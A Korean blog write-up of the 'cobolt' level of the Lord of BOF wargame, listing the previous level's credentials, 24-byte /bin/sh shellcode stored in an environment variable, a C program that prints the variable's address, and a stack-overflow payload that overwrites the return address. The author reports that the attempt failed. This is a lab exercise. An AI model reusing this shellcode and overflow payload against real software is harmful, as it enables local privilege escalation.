id = gremlin
pw = hello bof world
![](https://blog.kakaocdn.net/dn/bdRq9K/btqFzHHBzSL/l11sz2bIOyUxJ7XgfQHoO1/img.png)
bash2를 해주고 cobolt.c 파일을 읽어보니, buffer가 16바이트이고, 내가 쓰는 shell코드는 24바이트이므로, buffer에
넣을 수 없다. (\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80)
따라서, 우리는 환경변수를 이용할 것이고, 환경변수를 지정한 다음 리턴값을 환경변수의 주소로 넣어줄 것이다.
먼저 해야하는 것은 환경변수를 지정하는것이다.
(환경변수 지정어 >> export (변수명) = (변수내용) )
export EGG=`python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
이렇게 설정해준다.
다음은 환경변수를 구하기 위한 코드를 작성해보자.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])s
{
char *ptr;
ptr = getenv(argv[1]);
printf("%p\n", ptr);
return 0;
}
이렇게 짜봤다.
![](https://blog.kakaocdn.net/dn/L8HuV/btqFzz382Zk/1AbshPK0Qstt9u93xQlQFk/img.png)
환경변수의 주소는 0xbffffeb6
이제 페이로드를 작성해보면,
./cobolt `python -c 'print "a"*20+"\xb6\xfe\xff\xbf"'`
오류가 뜨긴 하지만 이 문제의 의도에 적합한 풀이다.
//7월 13일 수정
위의 환경변수에 썰매를 타게 해주니 이젠 illegal ~ 라는 오류가 뜬다.
구글링하니 단순한 문제가 아닌것 같아서 이 문제는 일단 넘어가기로 했다.